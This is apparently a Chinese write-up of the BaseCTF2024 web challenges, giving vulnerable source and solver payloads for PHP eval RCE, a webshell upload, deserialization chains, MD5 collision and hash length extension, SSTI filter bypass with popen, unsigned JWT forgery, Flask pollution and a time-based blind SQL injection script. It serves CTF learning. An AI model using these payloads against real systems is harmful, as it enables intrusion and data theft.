BaseCTF2024题解

[Week1] HTTP 是什么呀

这个题考的是http基础知识

项目 你需要传入 当前传入值 是否正确
GET 参数 base we1c%00me close (请注意 URL 转义)
POST 参数 base fl@g close
Cookie c00k13 i can’t eat it close
用户代理 (User-Agent) Base Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 close
来源 (Referer) Base close
你的 IP 127.0.0.1 10.32.0.0 close

首先需要通过get提交basectf的值为we1c%00me,但是需要注意在url里面%00为空格,所以需要通过将%00进行url编码,最后就是%2500 这样就可以?basectf=we1c%2500me

第二个直接通过hackerbar来post提交Base=fl@g即可

由于最后面一个要通过伪造ip地址,需要通过X-Forwarded-For来实现,所以我改为通过用bp来进行

请求报文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?basectf=we1c%2500me HTTP/1.1 
Host: challenge.basectf.fun:34690
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent:Base
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cookie: c00k13=i can't eat it
Referer: Base
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

Base=fl@g

success.php?flag=QmFzZUNURnsxOTE1ZDQ0Ni04NzFhLTRjNmUtYTgyOS0xYTgxMTQ0N2QxZWV9Cg==

最后base64解密即可获得flag

[Week1] 喵喵喵´•ﻌ•`

知识点:rce

给出源码

1
2
3
4
5
6
<?php 
highlight_file(__FILE__);
error_reporting(0);
$a =$_GET['DT'];
eval($a);
?>

直接提交DT=system(‘cat /*’);即可获得flag

[Week1] md5绕过

知识点:弱比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 =$_GET['name2'];
$password =$_POST['password'];
$password2 =$_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){ echo $flag;
} else{
echo "再看看啊,马上绕过嘞!";
}
}
else
{
echo "错啦错啦";
}}else {
echo '没看到参数呐';
}
?>

第一层直接通过输入name和password两个不同字符串,但是md5值都是以0e开头即可,name2和password2通过数组来进行绕过,或者直接都通过数组绕过也可以

?name=QNKCDZO&name2[]=1

password=240610708&password2[]=2

[Week1] A Dark Room

直接查看源码或者F12得flag

[Week1] upload

知识点:文件上传

绕过方法通过mime绕过,直接修改

Content-Type: image/jpeg

上传1.php

<?php system(‘ls’);?>

来进行绕过,在查看/uploads/1.php得flag

[Week1] Aura 酱的礼物

知识点:php伪协议

<?php highlightfile(_FILE); // Aura 酱,欢迎回家~ // 这里有一份礼物,请你签收一下哟~ $pen = $_POST[‘pen’]; if (file_get_contents($pen) !== ‘Aura’) { die(‘这是 Aura 的礼物,你不是 Aura!’); } // 礼物收到啦,接下来要去博客里面写下感想哦~ $challenge = $_POST[‘challenge’]; if (strpos($challenge, ‘http://jasmineaura.github.io‘) !== 0) { die(‘这不是 Aura 的博客!’); } $blog_content = file_get_contents($challenge); if (strpos($blog_content, ‘已经收到Kengwang的礼物啦’) === false) { die(‘请去博客里面写下感想哦~’); } // 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~ $gift = $_POST[‘gift’]; include($gift);

这里我就不去将代码展开了,首先会通过file_get_contents()函数来获取pen里面得内容,可以通过data伪协议或者php://input写入,然后就是判断http://jasmineaura.github.io是否在challenge参数得开头,再通过file_get_contents($challenge)来发起http请求,查看是否有 已经收到Kengwang的礼物啦 这一句话,这里就可以通过覆盖前面得url来进行绕过通过@符号,最后就是通过php://filter来读取flag.php

pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:25499&gift=php://filter/read=convert.base64-encode/resource=flag.php

再通过base64解码就可以获取flag

[Week2] ez_ser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php 
highlight_file(__FILE__);
error_reporting(0);

class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}

public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}

public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>

这里的链子就是

web->re->pwn->misc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
class re{
public $chu0;
}
class web {
public $kw;
public $dt;
}
class pwn {
public $dusk;
public $over;
}
class Misc {
public $nothing;
public $flag;
}
$a=new web();
$a->kw=new re();
$a->kw->chu0=new pwn();
$a->kw->chu0->over=new Misc();
echo serialize($a);
O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";N;s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}

[Week2] 一起吃豆豆

直接查看源码的index.js仔细看就可以的到一个类似加密的密文

解密的flag

[Week2] 你听不到我的声音

1
2
3
<?php 
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

这里直接执行命令没有回显,所以可以通过将命令写入文件来实现

1
2
ls />1.txt
cat /*>1.txt

[Week2] Really EZ POP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php 
highlight_file(__FILE__);
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}
if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}
<?php
class Sink
{
private $cmd = 'system("cat /*");';
}
class Shark
{
private $word ;
public function __construct()
{
$this->word=new Sink;
}
}
class Sea
{
public $animal;

}
class Nature
{
public $sea;
}
$a=new Nature();
$a->sea=new Sea();
$a->sea->animal=new Shark();
echo urlencode(serialize($a));

在bp中进行提交

1
nature=O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A17%3A%22system%28%22cat+%2F%2A%22%29%3B%22%3B%7D%7D%7D%7D

[Week2] RCEisamazingwithspace

1
2
3
4
5
6
7
8
9
10
11
<?php 
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}
// execute the command
system($cmd);

这里进行了空格过滤,尝试了一下不能通过%09来绕过,但是${IFS}可以

1
cmd=cat${IFS}/*

[Week2] 所以你说你懂 MD5?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php 
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?
$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}
// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');加强难度就不会了?

这里有四层

第一层直接通过数组绕过即可

1
apple[]=1&banana[]=2

第二层通过md5值为0e开头的字符串即可

1
appple=s878926199a&bananana=s155964671a

第三层通过强碰撞绕过即可,这里要通过bp不能通过hackbar来传参

1
apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

第四层通过就是哈希长度扩展,这里就通过hash-ext-attack-master来自动生成

bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16))这里相当于96位的字符串即密钥

name里面后面要添加admin字符串所以我们需要在后面添加一个以admin结尾的字符串,其它任意,这里就随便为qadmin

这里题目会给一个原始的md5值

这里最后就可以提交的flag

1
apple[]=1&banana[]=2&appple=s878926199a&bananana=s155964671a&apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=c15df3f0cb8dc43eccdbd0514d79eddb

[Week2] 数学大师

这个就是纯脚本

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

本题依赖 session,请在请求时开启 session cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import re
import json

session=requests.Session()
session.cookies.set("PHPSESSID","bsr9th8eakpubabbiteqrus6uj")
def calculate_expression(expression):
try:
# 使用eval来计算表达式,注意eval有安全风险,实际使用时请确保表达式来源安全
return eval(expression)
except Exception as e:
print(f"Error calculating expression {expression}: {e}")
return None

def extract_and_calculate(expression_string):
# 使用正则表达式提取数字和运算符组成的表达式
expression = expression_string.replace('×', '*').replace('÷', '/')
print(expression)
match = re.search( r'\d+[\-\+\*\/]\d+', expression)
print(match)
if match:
exp=match.group(0)
print(exp)
result = calculate_expression(exp)
return result
else:
print("No valid expression found in the string.")
return None

def send_result(result, send_url):
try:
payload = {"answer": result}
response = session.post(send_url, data=payload)
#response.raise_for_status() # 检查请求是否成功
data=response.text
print(response.text)
result = extract_and_calculate(data)
if result is not None:
send_result(result, send_url)
except requests.RequestException as e:
print(f"Failed to send result: {e}")

# 模拟的URL,你需要替换成实际的URL
fetch_url = "http://challenge.basectf.fun:45312/"
send_url = "http://challenge.basectf.fun:45312/"

response = session.get(fetch_url)
#response.raise_for_status() # 检查请求是否成功
data = response.text # 假设返回的是纯文本
print(data)
result = extract_and_calculate(data)
if result is not None:
send_result(result, send_url)

这个是累计50题,所以直接跑就可以

1
2
?K=DirectoryIterator&W=glob:///secret/*
J=SplFileObject&H=/secret/f11444g.php

[Week3] ez_php_jail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}

if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";

// 在HTML解析后再输出PHP源代码

?>

首先先看提交的参数,Jail_by.Happy,这个不是一个合法的参数,所以需要对其合理化,将前面的 _ 替换为[即可

1
?Jail[by.Happy=phpinfo();

这个就是一个rce,但是这里禁用了很多的东西,可以通过提交 phpinfo(); 来查看信息

这里还禁用了许多的字母和字符,我们就可以通过使用php内置函数来进行绕过

1
2
3
4
?Jail[by.Happy=print_r(glob('/f*'));
?Jail[by.Happy=print_r(implode(glob('/f*')));//这里来读取数组里面的内容
?Jail[by.Happy=highlight_file(implode(glob('/f*')));
?Jail[by.Happy=highlight_file(glob('/f*')[0]);

[Week3] 复读机

这里是一个ssti的漏洞

首先需要在开头以BaseCTF,并且禁用了 双大括号 和 __ 还有许多的常见的关键词,比如config,lipsum,还有url_for

这里就需要通过爆破出可以利用的模块,这里尝试通过os,但是发现没有成功,就只能尝试通过其它的模块来执行

1
{{''.__class__.__bases__.__subclasses__()[137].__init__.__globals__['popen']('ls /').read()}}

1
2
3
4
5
6
7
8
9
10
import requests

for i in range(500):
url = "http://challenge.basectf.fun:40577/flag"
data={'flag':"BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')("+str(i)+")|attr('_''_in''it_''_')|attr('_''_glo''bals_''_'))%}"}
res = requests.post(url=url,data=data)
if 'popen' in res.text:
print(i)
break
#137

所以在137这里就有popen,这里就可以通过popen来执行命令

1
BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')(137)|attr('_''_in''it_''_')|attr('_''_glo''bals_''_')|attr('_''_getit''em_''_')('po''p''en')('ls'))|attr('read')()))%}"}

最面就是通过rce的绕过,/flag,直接通过python的格式化字符串即可进行绕过

1
BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')(137)|attr('_''_in''it_''_')|attr('_''_glo''bals_''_')|attr('_''_getit''em_''_')('po''p''en')('cat %c%c%c%c%c'%(47,102,108,97,103)))|attr('read')()))%}"}

[Week3] 滤个不停

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php 
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}

if ($is_valid) {

$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}


include($Datch);
} else {
die('文件名不合规 请重试');
}
?>

这里是一个文件包含,并且不可以通过伪协议来进行读取,它提示我们需要在提交中包含一些字母

1
['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o']

这里因为不能进行常规的文件包含,所以需要通过包含一些特殊的路径

1
incompetent=HelloWorld&Datch=/var/log/nginx/access.log

所以就可以通过在bp里面进行构造

[Week3] 玩原神玩的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}
function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}
function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}
echo json_encode($flag);
}

这里先进行一个代码审计

1
sizeof($_POST['len']) == sizeof($array) //这里需要提交的len数组的长度与array长度相同

这里通过脚本跑出长度

1
2
3
4
5
6
7
8
9
10
11
import requests
url="http://challenge.basectf.fun:31395/"
data={}
for i in range(0,100):
key = "len[" + str(i) + "]" # 创建键
data[key] = i
resp=requests.post(url=url,data=data)
if "</code>我不管,我要玩原神!😭😭😭" in resp.text:
print(resp.text)
print(i)
break

然后就是get提交一个tip内容为 我要玩原神

1
2
3
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}

这里后面就要提交一个m,m的长度为2并且m[0]=100%,m[1]=love100%

1
2
3
4
5
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}

这里还是通过脚本来跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url="http://challenge.basectf.fun:31395/?tip=我要玩原神"
data={}
for i in range(0,100):
key = "len[" + str(i) + "]" # 创建键
data[key] = i
# if "</code>我不管,我要玩原神!😭😭😭" in resp.text:
# resp = requests.post(url=url, data=data)
# print(resp.text)
# print(i)
# break
if i==44:
data["m[0]"]="100%"
data["m[1]"]="love100%30bd7ce7de206924302499f197c7a966"
resp = requests.post(url=url, data=data)
print(resp.text)

最后就是通过获取flag里面array,这里array()里面的就是flag了,我们需要对其进行逆操作,首先这里获取了array的长度,取其第ii个元素的ascii码值,异或当前的索引进行异或,再取md5值

1
2
3
4
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}

这里就只能看题解来逆操作解码了,$md5_array是json解码的值,然后就可以对其进行逆操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
highlight_file(__FILE__);
include 'flag.php';
$challenge_url = "http://challenge.basectf.fun:31395/?";
$post = "";
for ($i = 0;$i < 45;$i++) {
$post .= "len[]=" . $i . "&";
} // $_POST['len'] == sizeof($array)
$get = "tip=" . "我要玩原神"; // $tip != "我要玩原神"
$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo '<br>' . 'URL: ' . $challenge_url . $get . '<br>';
echo 'POST Data: ' . $post . '<br>';

$curl = curl_init();

curl_setopt_array($curl, [
CURLOPT_URL => $challenge_url . $get,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $post,
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded',
],
]);

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) die('cURL Error #:' . $err);
preg_match('/\[\"(.*?)\"\]/', $response, $matches);

if (empty($matches)) die("Invalid JSON");
$json = '["' . $matches[1] . '"]';
echo "MD5 Array: " . $json . '<br>';
$md5_array = json_decode($json, true);
$flag = '';

for ($ii = 0; $ii < count($md5_array); $ii++) {
for ($ascii = 0; $ascii < 256; $ascii++) {
if (md5($ascii ^ $ii) === $md5_array[$ii]) {
$flag .= chr($ascii);
break;
}
}
}

echo "Flag: " . $flag;

[Week4] No JWT

这里给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string
app = Flask(__name__)
# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')

# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')

if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403

except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
app.run(debug=True)

很明显是一个jwt session伪造,这个就比较简单了

首先先拿到一个源session值,如果直接进行访问/login是没有的,它会提示你去提交一份json,这里就可以随便提交一个

这里就可以去伪造session访问/flag了

直接将jwt部分放到https://jwt.io/里面进行伪造

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGwsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNjMyMDY1N30.B02FczhiqpJleB5rmlcZ8fCVuFfSI4s3KuDCl2KUFpk

最后将构造的payload伪造到请求头即可

1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGwsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNjMyMDY1N30.B02FczhiqpJleB5rmlcZ8fCVuFfSI4s3KuDCl2KUFpk

[Week4] flag直接读取不就行了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

这里就是两个类的初始化,但是又不是反序列的题,所以想要读取文件就需要通过php的原生类来读取

首先通过DirectoryIterator来进行目录遍历,配合glob伪协议即可

1
?K=DirectoryIterator&W=glob:///secret/*  //这里可以获取flag文件所在的位置

读取文件就通过SplFileObject,再提交路径即可,最后flag在源码中

1
J=SplFileObject&H=/secret/f11444g.php

[Week4] 圣钥之战1.0

这里提示去读read目录,给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)

这里发现了python原型链污染的函数,还真是一点都不变,这里/static/index.html发现可能存在一个静态的代码文件夹,所以就可以去尝试污染一下静态代码文件夹的位置

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

最后的payload就可以得,简单说明一下,通过调用一个类的init魔术方法再调用globals获取全局属性,再修改app下的静态目录地址为当前的目录即可

1
2
3
4
5
6
7
8
9
{
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}

最后就可以直接访问/static/flag获取flag

[Week4] only one sql

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);

这里刚开始以为可以rce,但是分析发现,输入的语句还在数据库语句中,所以应该只可以进行sql注入

1
2
show tables //Tables_in_ctf flag
show columns from flag //Field Type Null Key Default Extra id varchar(300) YES NULL data varchar(300) YES NULL

这里可以先通过show命令来获取基本的信息

这里禁用了select,不能直接获取,就可以尝试通过盲注的方法来进行读取,题解中给出

1
delete from flag where data like 'B%' and sleep(5)

%表示匹配任意数量的字符,这样就代表了B开头的字符串

这样就可以通过盲注来进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import string
import time

sqlstr = "qwertyiuopasdfghjklzxcvbnm-{}1023456789"
flag=''
url = "http://challenge.basectf.fun:40165/"
for i in range(1, 100):
for c in sqlstr:
# print(c)
payload = "update flag set id = 'wi' where data regexp '^Base' and if(data REGEXP '^{}',sleep(1.5), 1)".format((flag + c))
params = {
'sql': payload
}
start_time = time.time()
r = requests.get(url=url, params=params)
print(r.text)
try:
r = requests.get(url=url,params=params)
print(r.text)
end_time = time.time()
response_time = end_time - start_time
if response_time>1:
print(flag + c)
flag += c
break
except:
print("Request failed")
continue

[Fin] 1z_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";

if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

